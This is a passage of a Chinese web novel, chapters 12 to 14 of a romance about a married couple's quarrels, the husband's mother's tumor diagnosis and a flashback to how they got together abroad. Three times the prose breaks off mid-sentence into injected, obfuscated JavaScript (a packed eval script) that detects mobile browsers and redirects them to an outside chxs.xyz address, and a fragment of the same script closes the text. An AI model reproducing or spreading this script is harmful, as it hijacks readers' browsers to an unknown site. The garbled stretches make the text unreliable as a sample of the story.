程珏听得满脸糊涂,他冷静地安慰了唐诗雯几句。 挂断电话后,程珏很快很快向其他部门确认了这个传言的来龙去脉。 唐诗雯说的一点儿也没有夸张,甚至梁雪琛实际做的比她形容的更不近人情。Amor珠宝想要启用年轻活力的演员作为大中华区的新一任代言人,而他们将候选人瞄准了唐诗雯和与她经历类似的新生代女演员薛咏琳。 代言人之争并未产生结果,另一方面虽然从市场反响上看,唐诗雯获得新人奖几乎是板上钉钉的事,但薛咏琳背后的资本也是这个颁奖礼最大的赞助方,因此无论发生什么都不奇怪。 梁雪琛动用所有的人脉,终于与薛咏琳的经纪公司达成私下协议——薛咏琳主动拒绝Amor的邀约,而唐诗雯则放弃新人奖。 更准确的说法是,梁雪琛替唐诗雯选择放弃了新人奖。 “你想证明自己的能力,所以拒绝集团给的资源,然后自以为是地在一群各怀心意的人当中周旋,最后非常独裁地牺牲掉别人的利益达成你的目标。”程珏实在不能理解她的行为,“梁雪琛,这就是你所谓的能力吗?我真的很瞧不起你,在你心里,所有人都可以随随便便变成牺牲品。” 程珏不知道的是,他这一句话里的每一个字戳中了梁雪琛最在乎的东西。 “你是在为唐诗雯感到可惜,还是就算换了一个人也会这么想?” 如果是怜惜美人,她可以当他只是多情公子而已,但如果是单纯觉得她很低级,便触碰到了她心底最深处的自卑。 程珏轻易又准确地让她内心破防:“不管今天你牺牲掉的是谁,我都觉得你的做法很cheap,这么做就算赢了对赌协议,又能证明什么呢?证明你为了想要的东西完全不在乎别人的想法?你可以那么轻易地陪酒卖笑讨好卢总、杨总、莫总……那么多乱七八糟的‘总’,让他们帮助你牺牲别人。你的底线到底在哪里,是不是哪怕以后要你去参与潜规则你也觉得没问题了是吗?” 这是程珏第一次在梁雪琛面前口不择言。 一番话听罢,梁雪琛不再解释,收拾了几件换洗衣服走出了房门。 程珏自知“潜规则”三个字说得太重了,但他也正在气头上,所以并没有拦住她的脚步。 这一转身就到了今天。 梁雪琛走进二楼客房,从床头柜里拿出她最宝贵的日记本。 张妈把客房收拾得就像很久没有人来这里住过一样,除了这本因为放进了床头柜而被忽视的日记,这间房里竟找不到一点她使用过的痕迹。 不过就算是翻遍整栋房子,她的东西大概也只需要收拾不到两小时就可以彻底抹去。 “雪琛,你在二楼做什么?” 江美玲换了一身灰色的家居服,大概是刚洗了头,半干的长发随意地绾在脑后。 她正好往一楼走,碰到了从客房出来的梁雪琛。 这栋房子据说是程珏的爷爷在他出生时送的礼物,因为考虑到程家人口众多,为了便于亲戚往来,在二楼留出了六间客房和一个大客厅。 但自从程爷爷去世之后,除了正月拜年之外,程安杰这一房鲜少与其他兄弟姐妹有更多的交流。 除了单独住了一间客房的赵叔和偶尔会来上海住几天的程家大小姐程淼一家之外,梁雪琛从未见过任何人入住二楼。但张妈每周仍会对二楼进行一次大扫除,每个月都会把客房的床单换洗一遍,以备不时之需。 “哦……之前有朋友来家里玩儿,把一个小东西落下了,刚刚她打电话给我,我就下来找找。”梁雪琛随便找了个借口搪塞过去,“妈,您怎么不在楼上休息?” “Alex喜欢我煮的糖水,反正我闲着也是闲着,下楼给你们煮糖水。”江美玲也没继续追问下去,“晚上吃完饭,大家坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071559|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起看看电视聊聊天。好不容易大家聚在一起,他们两父子脾气拗,总得我们来调解。你先回房去吧,待会儿叫你们下来吃饭。” 梁雪琛点点头走回三楼。 江美玲居然说程珏脾气拗,事实上,她认为程珏真的是不可否认的温柔脾气了,母子俩身上有着相似的平和的气质。 在这个家里,江美玲是她想要靠近的安心的存在,思及此,梁雪琛露出了笑容。 “碰到什么好事了,笑得那么开心?”程珏已换了棕色长袖T恤,戴着个耳机抱着笔记本靠在床上,手中飞快地敲击着键盘,看上去应该在处理一些工作。 “好事?我每天都碰到很多好事,请问您问的是哪一件?”梁雪琛拉开床头柜,把日记本放了进去。 床头柜里装满了她的小东西,有一些信件和以前收到的礼物。 手机提示音响起,梁雪琛拿起手机看到韩祎在三人群里发了消息:“我的婚礼定在5月2日啦,你们记得把时间空出来。” 景安安很快回复道:“咦,怎么选在你生日当天办婚礼?” 韩祎回复:“没有伴郎也没有伴娘,只是在酒店请几桌宾客。我们打算很简单地办,只是为了有个仪式感,所以就顺便给我过生日了。” 景安安回复了一个“不能理解”的表情包。 韩祎发了一个偷笑的表情,“虽然是简单的仪式,但是你们的红包可别忘了给我。” 梁雪琛回了一句:“好家伙,红包里面的内容可不可以也简单一点。” “对了,有个事儿。”程珏突然看向梁雪琛,“一一应该也和你说了,她打算生日那天补办婚礼。一一说她来给我们准备礼服,你喜欢什么样的款式直接告诉她,我的款式就搭着你的来好了。” 梁雪琛没应声,过了好一会儿才反问道:“你同意韩祎办婚礼?” 一句话问完,她突然觉得自己的问题很好笑。虽然韩祎似乎确实说过与贺君昊领证的原因与他的女儿有关,而并非爱情,但是不管怎样那两个人已经领了证,是合法的夫妻,办不办婚礼都无法改变这一点了。 程珏轻叹一口气:“我有资格不同意她的婚礼吗?” 梁雪琛盯着程珏的脸出了神。 “他叫程珏,是除了爷爷奶奶之外,在这个世界上最爱我的人。” 她想起第一次和程珏正式见面时,韩祎是这么介绍的。 他们两个站在她的面前,耀眼得像是永远不可触碰的星星。 梁雪琛这才知道原来世界上真的有那么单纯美好的青梅竹马,原来真的有如此般配的两个人。 当时程珏请大家吃了一顿饭,两个小时的时间里,他和韩祎之间的默契让她一个外人感到羡慕——程珏知道韩祎的一切喜好,一个眼神就知道对方想干什么。韩祎也毫不掩饰自己对程珏的依赖,这种依赖是那么浑然天成。 那一刻就连梁雪琛都认为,这两个人注定佳偶天成。 12. 第十二章 生病 “我脸上有脏东西吗?”程珏伸出手在梁雪琛眼前晃了晃,“别用这么哀怨的眼神看着我,不然我会以为我做了什么对不起你的事儿。” 梁雪琛尴尬地撇过脸。 床头柜的抽屉还打开着,在她的日记本旁边是一个包装好的小盒子,盒子上的手拉花已经有些褪色,礼品纸粘贴的地方也微微翘起。 梁雪琛默默地把抽屉关上了。 “你没做过对不起我的事儿,最近发生的事儿都是我自作自受。” 梁雪琛走到梳妆台前坐下,慢慢将上面并不多的几个瓶瓶罐罐重新整理好,并没有要继续交流的意思。 过了一会儿程珏觉得无趣,把笔记本合上扔在一边,一声不吭地往门外走。 “程珏,”梁雪琛小声叫住他,“你是不是觉得很糟糕,如果不是我不知好歹,你的生活不会是这样子的。” 程珏握在门把上的手一顿,没有转回头,只是不带任何情绪地答道:“我不觉得糟糕,也不觉得现在的生活有什么问题,更不知道你的‘不知好歹’指的是什么。但一定要说的话,我觉得你活得太累了,你要向爸爸证明你的能力,要对妈妈有孝心,还要对其他人都面面俱到,每个人喜欢不一样的人,所以你在不同的人面前表现出不同的模样。我越来越不知道真正的梁雪琛是什么样子的了,我希望我们之间可以多沟通,但是你却一次次把我拒之门外,只有这一点让我觉得自己也很累。” 梁雪琛怔怔地看着他走了出去。 房间里顿时只剩下风将窗帘吹起的声音,看样子今天晚上又会下雨了。 她有什么真正的样子呢,只不过是不想再听到别人嘲笑她那卑微的出身,她太想向程家证明自己足以配得上这个豪门罢了。 梁雪琛的脑海里回响起一个多月前,也就是两人最后一次争吵的前一天,在停车场不小心听到的一段对话,那对对话像一把刀一样扎在她的心口,以至于一天后的争吵中程珏无意说出的“潜规则”三个字成了压死她的最后一根稻草。 “程总万一真的对唐诗雯动了真心,按照程总的性格绝对不会让心爱的女人没名没分的。毕竟她是靠肮脏的手段逼迫程总娶她的。那梁总可就惨了,白费心机那么些年,最终还不是要被扫地出门。” “我听说梁总用了很多肮脏的手段才嫁进程家的,凭她那种出身,要不是赖上了程总,从底层爬个十年二十年都未必能到现在的位置。” “她也不是什绝色美人,平时还凶巴巴的,一点女人味都没有,能靠什么手段加入豪门?” “女人嘛,要么长得好看,好么够温柔,要么懂得如何爬上男人的床。” “对对,我听说她是假装怀孕获取程家那边的支持,从平时嘉程娱乐的各种炒作就看出来了,她可会利用舆论了。等程总发现真相之已经木已成舟,豪门最需要脸面,为了脸面也会多留她几年。” “那她不就是高级外围女吗,有多了不起……” 几个不知道是哪个部门的职员哄笑着走进7号客梯。 1-6号低层客梯和7-12号高层客梯分别在停车场的两边,梁雪琛的办公室在22楼,平时一般走的是25楼以下的低层客梯。程珏的总裁办公室在12部电梯都可以停靠的中间的25楼,一般他也往低层客梯方向走。 可刚好那个周末两人一起到公司开会,会议室定在高楼层,所以他们把车停在了高层客梯附近,于是不小心听到了那几个人口中的八卦。 梁雪琛怒火中烧,正想冲上去理论,被程珏拉住。 “你就算冲上去把他们骂一顿,或者当场开除他们,就能止住这些闲言碎语了吗?”程珏解释道,“更何况开除他们要写原因的,你怎么跟他们的上司解释原因呢?把闲言碎语复述给人资然后让他们判断,还是找个莫须有的罪名?他们的言论影响不到我们半分,你又何必跟他们一般见识。” 梁雪琛也并没有要拿他们怎样的意思,但她没想到程珏竟没有站出来维护她的名声。 她冷笑着反问道:“你这么不在乎,是他们说中了你打算和真爱双宿双飞,让我滚回底层重新慢慢爬上来,还是我在你眼里真的就是个高级外围女而已?” 张妈的敲门声把梁雪琛从回忆中叫醒,她赶紧洗了把脸下楼吃饭。 张妈做了十几道新学的江浙菜,赵叔和王妈帮忙摆盘上桌。 梁雪琛下来的时候,程珏父子坐在沙发上看新闻,江美玲在厨房里用冰块给刚煮好的莲子银耳羹降温。 “雪琛,饿了吧,快过来吃饭。”江美玲把手洗净,用眼神示意梁雪琛沙发上的两父子已经和好了。 “别看Alex平时一副好脾气的样子,其实他和你爸爸一样的倔,但家人之间难道还真能有仇吗?” 梁雪琛叫了那二人过来餐厅吃饭,赵叔他们则在后厨自摆一桌。 程珏和梁雪琛之间像是什么也没发生过似的,在父母面前有说有笑,表现亲昵。 饭后一家人坐在沙发上看电视闲聊,张妈和王妈把糖水端过来。 “妈妈,你煮的糖水真的太好喝了,每次喝糖水的时候我都在想,要是能一直呆在你的身边该有多幸福。” 这句话梁雪琛没有夸张,江美玲给了她许多不曾奢望过的母爱。 “雪琛,我跟你们商量个事儿。”江美玲和程安杰对视了一眼,“我暂时留在上海一两个月,你们看好不好?” “真的吗,当然好啊!”梁雪琛觉得开心,又很快反应过来,不解地问道:“妈,你怎么突然决定留在上海这么久?” 江美玲年轻时是小提琴家,退休后也一直留在深圳的管弦乐团当顾问,时不时还会到随乐团到世界各地参加一些活动,平时在上海的停留的时间最多不超过五天。 程珏也跟着问道:“对呀妈妈,你在上海有什么计划吗?” 江美玲又看了丈夫一眼,得到肯定的鼓励后继续说道:“半个月前我参加了个慈善晚宴,中途头晕想吐,第二天就去医院做了体检,体检的结果是脊椎里长了星形细胞瘤。” 程珏被陌生的词汇搞得头脑一片空白,紧张地拉住江美玲的手。 “妈咪,那你现在……” “Alex,不要紧张。你还记得中学的时候来过咱们家做客的郑教授吗?她是肿瘤方面的专家,又对星形细胞瘤颇有研究。郑教授现在的团队在上海,所以过几天我打算请她会诊,听听她的建议,再决定要在上海接受手术,还是去香港再找其他专家看看。” 程珏和母亲的关系向来很好,还没听完江美玲的话,他的手掌心已经全是冷汗。 程安杰也安慰道:“我带妈咪在深圳和香港都看过病,肿瘤是是良性的,你们都别太担心了。只是肿瘤长在了脊椎里,脊椎里的神经比较多,手术有点麻烦,需要要找个有经验的专家来主刀。” “雪琛,”江美玲温柔地看向梁雪琛,“我约了郑教授周五去做检查,你陪我去看病好吗?” 肿瘤压迫了江美玲的神经,长时间站立或坐着都会导致腰疼。程珏知道之后连忙把她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071560|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶回房里了。 梁雪琛穿上睡衣,边擦着湿哒哒的头发边走出浴室。 已经洗好澡的程珏斜靠在床上,死死地盯着手中的平板,连梁雪琛出来了都没发觉。 从梳妆镜里看到程珏越来越紧皱的眉头,梁雪琛忍不住开口道:“别再查了,网上不管什么病都能说成绝症,看那些只会让人更紧张。等周五我陪妈妈去医院听听郑教授怎么说,你别担心,妈妈吉人自有天相。” “我怎么可能不担心,妈咪一直都很健康的,我从没想过她会得癌。”哪怕只是说出“癌”这个字,程珏都觉得难受,他悄悄抹了抹眼角,也不知道是不是在擦眼泪。 “爸爸一直很忙,从小到大,妈咪真的为我和姐姐牺牲太多了。”程珏喃喃道,“你知道吗,外公外婆在国外发生意外、舅舅他们把我们赶出门的时候,妈咪都撑住了。爷爷去世时,爸爸躲在书房谁也不见,要不是有妈咪,这个家大概也垮了。” 他抬头,眼底一片迷茫:“雪琛,她怎么也会生病……长在脊椎里的就算是良性肿瘤,稍有不慎也会……也会没命的。” 梁雪琛其实并不太了解程珏的家庭,她只知道程家是香港的名门望族,在香港废除多妻制度前,程老爷子娶了四房太太。他还有一个年轻的情妇,程安杰就是那个情妇唯一的儿子。 出身贫寒的酒店服务生原本想靠着儿子的出生进程家的门,没想到最终难产去世。程老爷子将情妇所生的小儿子交给生下长子的正房太太抚养,彼时大太太唯一的儿子程安和已经被送到英国上学,对丈夫的这个私生子并不排斥。 虽然大太太对程安杰还算不错,但仍然改变不了私生子从小到大遭受白眼的命运。 程安杰和江美玲是典型的商业联姻,两人婚后逐渐相爱,陆续生下一女一儿。 但这些都挡不住两家的关系在利益面前日渐变得紧张。 那时程安杰每日忙于工作,江家父母心疼女儿,便将女儿和外孙们接到深圳娘家住了大半年,每周末程安杰到江家与妻儿团聚,对一家人来说那段日子倒也过得快乐。 好景不长,江美玲的父母在国外旅游时突然遭遇车祸去世,有传言说是程家下的黑手。江美玲与气急败坏的两个哥哥争论,没想到被连夜赶出了家门。 虽然程家很快派人把母子三人接了回去,但是江美玲知道自此已经没了娘家。 再后来,程安杰独自在深圳创立嘉程集团,程老爷子病逝后,嘉程集团在财务上完全脱离程氏企业的商业版图。 又过了几年,程安杰创立嘉程集团上海分公司和香港分公司,将它们分别交给了留学回来的程珏和已经嫁给香港传媒大亨之子宋兆宁的程淼。 程安杰则是和妻子一起留守在深圳本部。 梁雪琛一直很羡慕江美玲,她这个婆婆十分温柔,有着良好的出身和家教,又有疼爱自己的丈夫和儿女。除此之外,江美玲在事业上也取得了很大的成就。 用现在的话来说,江美玲就是妥妥的人生赢家,十个人里面有九个以上会羡慕她。 梁雪琛永远无法获得这样的人生。 “没事儿的,既然已经确定了是什么病,又定位了肿瘤的位置,加上郑教授是很厉害的专家,就不会有事的。” 梁雪琛坚信江美玲的病会很快被治好,因为这个世界上除了穷病之外,所有的疾病都是可以治好的。 即使治不好,他们也有更多选择的权利,而不是像穷人一样走投无路,最后只能眼睁睁地看着家人痛苦地死去。 13. 第十三章 道歉 梁雪琛走到程珏身边。 她突然觉得这个男人此刻有点儿可怜——他的生活总是顺风顺水,无忧无虑久了之后,任何一个无法把握住的未来对他来说也许都会成为致命打击。 但梁雪琛很快便嘲笑起自己来,就像以前在电视剧里看到天真的小丫鬟担心锦衣玉食的公子少吃了几顿饭时,她都会嘲笑那剧情过于离谱。 程珏抓住她的手臂,隔着睡衣她也能感受到他的无助。 他喃喃道:“你说得对,妈咪不会有事的,一定不会有事的,是吗?” 其实梁雪琛说的是真是假又有什么意义呢,他不过是需要她的一个肯定回答。 程珏的样子像极了小时候常常出现在她家门口的那只无家可归的大黄狗,它充满依赖的眼神清澈又可怜。 “对,我相信绝对不会有事的,妈妈很快就会好起来。” 梁雪琛用双手轻轻抚摸着程珏的脸颊,目光中带着怜惜。 女人面对男人可怜巴巴的样子,果然都没法不散发出母爱天性。 程珏反握住她的左手,与她十指相扣。 她的大拇指处有一道几乎看不清的细长的疤痕,他不知道那道疤的来历,但每次握着她的左手时总喜欢摩挲着这个地方,仿佛这样就才确定真实的她就在他的身边。 梁雪琛忍不住将嘴唇印在了他的唇上,程珏轻轻环住她,给她依靠的支点。 大雨将至,窗帘被高高吹起,风吹进些许凉意,却阻挡不了逐渐上升的室温。 程珏的目光过于炽热,让她一时间对他们之间的关系产生了诸多误解。 想起一个多月前在公司停车场听到的那番闲言碎语,未经思考,梁雪琛脱口而出:“爬上你的床之后,在明天的高管会上你就会投我一个支持票吗?” 话音刚落,她便后悔用这样的语气说了这样的话,但为时已晚。 “你在跟我开玩笑吗,还是你真的打算跟我做交易?”程珏停下手上的动作,冷笑道:“梁雪琛,你把我当成什么,又把你自己当成什么了?” 梁雪琛本来想道歉,可听到程珏的话,便倔强道:“反正凭我的出身,要不是爬上了你的床攀上了你,的确再努力二十年也到不了现在的位置。我和外围女有什么区别,我们都是用仅有的东西去交换想要的,我只是运气比她们好了一点,换到了比付出的价值更高的东西。” 程珏猛地推开了梁雪琛。 她愣愣地盯着他,等着他开口反驳。可他却没有与她争吵,只是长叹一口气,仍然保持一贯的风度说道:“去把头发吹干吧,这个天气别着凉了。” 梁雪琛确信自己早已尊严全无。 她怅然若失,站在浴室里的大镜子前茫然地吹着头发。 从小到大她都在别人同情的目光下长大,即使一直很努力地想要挣脱命运,即使看上去她已经改变了自己的命运,但程珏的光芒完全掩盖了她曾经的付出的努力。 她知道是自己他贪得无厌,却又没办法放下心中的不甘心,然而事实就是她现在的一切全都是程家给的。 梁雪琛是村子里第一个名牌大学生,在大学期间通过奖学金和勤工俭学负担了自己全部的学费和生活费。本科毕业那年,她在韩祎的鼓励下申请了常青藤的研究生,并在学校担保贷款和助学基金的帮助下出国完成了学业。 韩祎担心她在国外无依无靠,便把同在国外念书的青梅竹马介绍给她。 准确点说,虽然梁雪琛老早就知道韩祎有个在国外念书的好朋友,程珏也在韩祎生日时顺便请她和景安安吃过饭,但出国之后因为韩祎的嘱咐,程珏才给了她那么多特别关照。 回国前的最后一个农历除夕,程珏接到了梁雪琛的电话。 两个多月前程珏被交往了几年的门当户对的女朋友劈腿,朋友们担心他心情不佳,于是常常陪和他一起到周边自驾露营。 露营是程珏的几大爱好之一,但实际上因为雪下得实在太大,他们在乡间别墅里呆了好几天,哪里也去不了。 “对不起打扰到你了,现在国内的春晚快倒计时了,所以想跟你说声新年快乐。” 梁雪琛也不知道自己为什么拨了那通电话。 她已经独自过了很多年的农历新年,在国外过年的气息没有那么重,按理来说更不会觉得难过才对。 但看着漫天飞雪,她突然想起上一年农历新年时,韩祎让回国探亲的程珏从国内带来了她喜欢的点心。 正是国内除夕守岁的时候,他们那边仍然是白天。 程珏打电话叫梁雪琛到公寓楼下来,打开车窗把韩祎准备的点心递给了她。车上正放着春晚的声音直播,全场倒计时的声音响起,他们忍不住跟着一起倒计时起来。 “新年快乐!”两人互相祝福,梁雪琛却红了眼眶。 程珏并不知道,这个大白天的守岁是从高考前爷爷过世后,第一次有人和她一起倒计时。 “我只是有点想家了。” 程珏接受了梁雪琛的解释。第一次在国外过这个原本是团圆的节日,任谁都会有些难过。 他从车后座拿出一个盒子递给了她:“喏,这个礼物送给你,就当我是你的家人,收到礼物就别闷闷不乐的啦,在这里的两年很快就过去的。” 那是一条宝格丽红色经典款格子围巾,梁雪琛将围巾拿在手上目送程珏离开。 那是她收到的第一份全新的新年礼物,即使这份礼物看上去原本并不是要送给她的。 小时候家里穷,虽然过年时也能收到一些爱心人士的捐赠,但收到的大多是城里人穿旧了的棉衣。 即便如此,那些捐赠也让她最期待过年。 梁雪琛把围巾放在衣柜的角落里,她没有足够好看的大衣去搭配这条围巾。 就这样,第二年的除夕依然下起了大雪,在春晚准备倒计时的时候梁雪琛鬼迷心窍地拨出了那通电话。 她看着电脑里被静音的春晚直播画面,默默跟着大屏幕里倒计时,程珏却还没发现她的小心思。 “我刚好今天回去,要不晚上我过去你那里一起吃年夜饭吧。” 直到现在梁雪琛仍然想不通, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071561|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么当时程珏说出了这句话。 她记得当他晚上九点多出现在自己的公寓门外时,像是做了一个非常美妙的梦。 “小姐,再这么直吹下去,你的头发要被你自己吹秃了。” 程珏的声音突然在梁雪琛的身响起,还没回过神时,手上的吹风机已经被拿走了。 她这才感受到头皮上传来的炙热的疼痛感,忍不住叫了出来。 程珏轻轻揉着她的秀发,过了一会儿才打开了吹风机。他的动作很温柔,就像他这个人一样,对所有人都风度翩翩,令人如沐春风。 梁雪琛直勾勾地盯着镜子里的男人,他对谁都那么好,所以她始终无法真正了解他,始终抓不住他,但她似乎又没有任何资格表现出不安。 程珏一心一意地替她吹着头发,完全不理会她的打量。 长发吹到七八分干,程珏关上了吹风机,慢吞吞地拔了插头,收拾好连接线放进储物柜里。梁雪琛仍然呆呆地从镜子里看他完成这一切动作。 “梁雪琛!” 程珏突然把她横抱起来,不知为什么好像带着些怒气,将她往床上一扔。 说是扔,倒也控制了些力度,没让她觉得哪里不舒服。然后他靠近,两人几乎脸贴脸地对视着。 梁雪琛没有放过任何可以回怼的的机会,瞪眼问道:“做什么,打算完成交易了么?” “梁雪琛,如果你打算玩一下角色扮演增夫妻感情的话,我可以陪你玩,玩多大都行。但如果你只是单纯地想挑衅我,那我建议你从现在开始闭嘴。” 程珏俯下身狠狠咬住她的嘴唇,直到她大声喊疼才放开。 “程珏你属狗的吗,你有病吗做什么要咬我!” 他向来温柔,所以才给了她口不择言的勇气。 没想到他今天一反常态把她咬疼得眼泪直流。 “梁雪琛,我们是合法夫妻,你把我和我妻子的关系描述得那么龌龊,你玷污了我们夫妻之间的感情,你就活该被咬。” 程珏用指腹将梁雪琛眼角的泪抹去,朝她的嘴唇轻轻吻了下去。 “对了,你不会忘了我确实属狗吧?” 窗外果然下起了大雨。 程珏替梁雪琛擦净脸后将她从浴室抱回床上,替她拢一拢被子后起身关了窗。 窗帘已经被雨水打湿了,地毯也遭了殃,可他并不打算理会这些,躺回梁雪琛的身边,很自然地从身后抱住了她。 关上落地窗后,这里的隔音效果极好,但梁雪琛就是能感觉得到今天的雨比昨天晚上的更大了。 不知过了多久,她稍稍转过头,在窗帘缝透进来的微光中看到了程珏的轮廓,他呼吸均匀,显然已经陷入了沉沉的睡眠当中。 他的手搭在她的腰上,虽然没有什么负担,但也让她不敢有太大幅度的动作,生怕扰了他的好梦。 梁雪琛的脑海里都是不到一个小时前程珏在她耳边的低语:“对不起。” “为什么?” 她听到程珏几不可闻的声音:“为所有令你感到不舒服的事情。” 14. 第十四章 雪夜 记忆又回到了那一年异国大雪纷飞的除夕。 梁雪琛没想到程珏那么快就出现在自己的面前。 外面下了那么大的雪,路上几乎看不到人,就连附近的超市也因为恶劣天气暂停营业了。 “正常情况下一个小时就到了,路上太滑,多花了四个小时的时间,让你久等了。” 梁雪琛愣愣地看着程珏在门外拍落大衣上的雪花,忘了邀请来者进门。 程珏笑着问道:“我快一天没吃东西了,好饿,家里有没有热一点的东西可以吃?” 因为超市关门,没买到新鲜的蔬果肉菜,所以梁雪琛翻出家里仅剩的两袋速食面和四个鸡蛋,匆匆下了一锅面。 “唔,第一次吃你煮的东西,没想到你的手艺还挺不错的。”也许是真的饿了,也许是梁雪琛煮的面确实好吃,程珏把面汤喝得一滴不剩,“这碗面有广式茶餐厅的味道。” “我家也是华南地区,可能饮食上和你们会有一点相似。” 程珏打开了春晚的回放,而梁雪琛在开放式的小厨房里洗碗,这个氛围总感觉哪个地方不太对劲,但又有些和谐。 “今年的春晚挺无聊的,尤其这些小品,也不知道想表达什么。但是这春晚不看一眼的话又没有过年的感觉。” 程珏边拉进度条边对节目进行点评,抬眼看到洗好碗之后一直拘束地靠在门边的梁雪琛,笑道:“你怎么了,今天怎么感觉怪怪的?” 梁雪琛在心里反驳道:“你出现在这里才是最怪的事情好不好!” 但她才不愿意和自己的好运气作对呢,这么多年来第一次有人一起吃了年夜饭,原来不孤单的感觉这么好。 虽然这个年夜饭只是碗简简单单的面条,但这个年确确实实不再形单影只。 梁雪琛犹豫了好一会儿,才把一个纸袋纸递到程珏面前。 程珏认得这个学院周年庆纪念品的外包装。那天他刚好有时间,就热心地替梁雪琛当起了给她的校友们发放纪念品的苦力。 活动结束后,梁雪琛也给了他一份纪念品,里面有一支钢笔和一本学院纪念册。 当时程珏还吐槽了几句:“你们学校也太抠门了吧,反正你也常去我们学校修课,还不如一开始就直接选我们学校。” 梁雪琛不置可否。 当初她倒是向两所学校都提交了申请,选择这所学校的原因是他们给她开出了更诱人的奖学金。 程珏打开纸袋,从里面拿出一条深红色的围巾。 “这是你为我准备的新年礼物吗?” “去年过年的时候你不是送了我一条围巾吗,你也知道的我没什么钱,想回礼但又买不起什么好东西。”梁雪琛尴尬地解释道,“学姐回国前送了我几团毛线,我就自己学着织了这条围巾。虽然这条围巾是杂牌,比不上店里买的那些,但这个毛线是纯羊毛的,戴起来会很舒服的。上面的花纹我设计了好几天,也算是世上仅此一份的礼物了。” 说完她觉得更尴尬了。 她的手工能力一向很强,看了一晚上的教学视频就连设计图案都学会了,从开工到完工也就花了几天的时间,所以这条围巾甚至不能说是个耗费精力的宝贵礼物。 程珏仔细看着围巾上的花纹,那是一连串的“玉”字交叠变形出来的图案。 梁雪琛以为他嫌弃,连忙说道:“你不喜欢也没关系的,就当我没拿出来过。下一次有机会的话我再给你选个好礼物。” 她其实想说的是“下一次我选个配得上你的礼物”。 “别呀,已经送给我的礼物就是我的东西了,你怎么能收回去呢?”程珏拍下她伸过来的手,把很宽很长的围巾绕在脖子上。“雪琛,你好厉害,我以前怎么没发现你竟然什么都会。” 结婚之后,梁雪琛把程珏送的格子围巾带了过来,放在衣帽间大衣柜的角落里。她曾装作不经意地问程珏,那条她人生中第一次织的围巾还在吗。 程珏回答得很快:“当然在啊,不知道带回上海还是放在深圳了。嗯……也许塞在衣帽间的哪里了吧,等哪天有空我找找。” 梁雪琛没再提起这件事,程珏自然也就没有真找过那围巾了。 她越来越怀疑,程珏究竟是为了什么而跟她结婚的。 毕竟他们在一起的两年,与其说是恋人,倒不如说是各取所需的伴侣。一开始梁雪琛需要他的陪伴,到后来需要他的家庭背景,而他…… 他需要她什么呢? 梁雪琛翻过身,睁大眼睛想要看清程珏的脸。他五官分明,气质温文尔雅,这张脸对于她而言曾经那么遥远,即使拼尽全力伸出手也无法触碰。 在那个雪夜,她第一次像现在这样那么近地注视着他。 临近深夜,程珏穿上大衣起身告别,推开门时外面仍然是漫天大雪,他的车子几乎被白雪覆盖。 门外的冷空气涌入,让梁雪琛从那个不可思议不再独自面对一室沉寂的梦境中稍稍苏醒,然后她不知从哪里来的勇气,做了那天第二件冲动的事。 “程珏!”她几乎不假思索地从身后抱住他,靠近门口的位置,冷风刺骨,但她可以清楚地感受到他身上的温暖,“程珏,今天晚上可不可以留下来。” 程珏似乎被她突如其来的举动吓了一跳,但很快回复往日的冷静。 “雪琛,你知道大半夜跟一个单身男人提出‘留下来’意味着什么吗?”程珏转过身,将梁雪琛拉开一些距离,很显然此刻他并没有打算陪她一起失去理智,“那么晚了,快去休息吧,明天我再来找你。” “程珏,求求你,留下来。”踮起脚尖,她吻上他的唇。 第二天早上他在她的身边醒来,他们就像是已经在一起多年的恋人一样默契。 从此以后他常常留宿她的公寓,他们都没有提起两人之间算什么关系,直到留学归来。 “大半夜干嘛不睡觉盯着我看,很吓人诶,你不困吗?” 程珏突然睁开眼睛与梁雪琛四目相对,他的声音低沉,睡意快要将他淹没。 那个雪夜过后,梁雪琛便知道程珏有点低血糖,夜里睡得很沉,早晨起床也有些困难,还带着稍许起床气,他的床边常备着葡萄糖。 梁雪琛尴尬地背过身去,小声嘟囔道:“你突然出声才吓死人了,睡你的觉去,管我这么多做什么。” 程珏也翻过身,像抱个布娃娃一样从背后抱住她,柔声道:“你最近常常失眠吗,要不明天让靖轩过来看看吧。” 徐靖轩是程家的私人医生,平时有小疼小病会让他直接上门看诊。 梁雪琛一动不动,睁着眼睛并不作答。身后的人也不强求她的搭腔,不一会儿呼吸声再次变得平稳。 她呆呆地盯着微光下床头柜上的沙漏摆件,想伸手倒转它,又担心程珏再次醒来。 这是去年方雨婷的生日那天梁雪琛在公司附近的一家小店里淘到的小摆件。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 